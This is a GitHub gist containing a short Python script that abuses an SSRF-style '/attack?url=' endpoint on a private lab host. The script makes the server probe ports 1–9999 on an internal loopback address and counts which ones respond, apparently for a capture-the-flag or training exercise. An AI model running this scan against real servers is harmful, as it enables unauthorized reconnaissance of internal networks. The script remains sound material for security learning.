Skip to content

Instantly share code, notes, and snippets.

@fado
Created February 17, 2022 11:03
Show Gist options
  • Save fado/007d29481d2cc8bc0cf5d631152ca5e4 to your computer and use it in GitHub Desktop.
Save fado/007d29481d2cc8bc0cf5d631152ca5e4 to your computer and use it in GitHub Desktop.
import requests
reachable_count = 0
for i in range(1, 10000):
if i % 10 == 0:
print("Scanning port:", i)
response = requests.get('http://10.10.208.52:8000/attack?url=http%3A%2F%2F127.0.1.3%3A' + str(i))
if 'not' not in response.content.decode('utf-8'):
print('Port %d reachable' % i)
reachable_count += 1
else:
pass
print(reachable_count)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment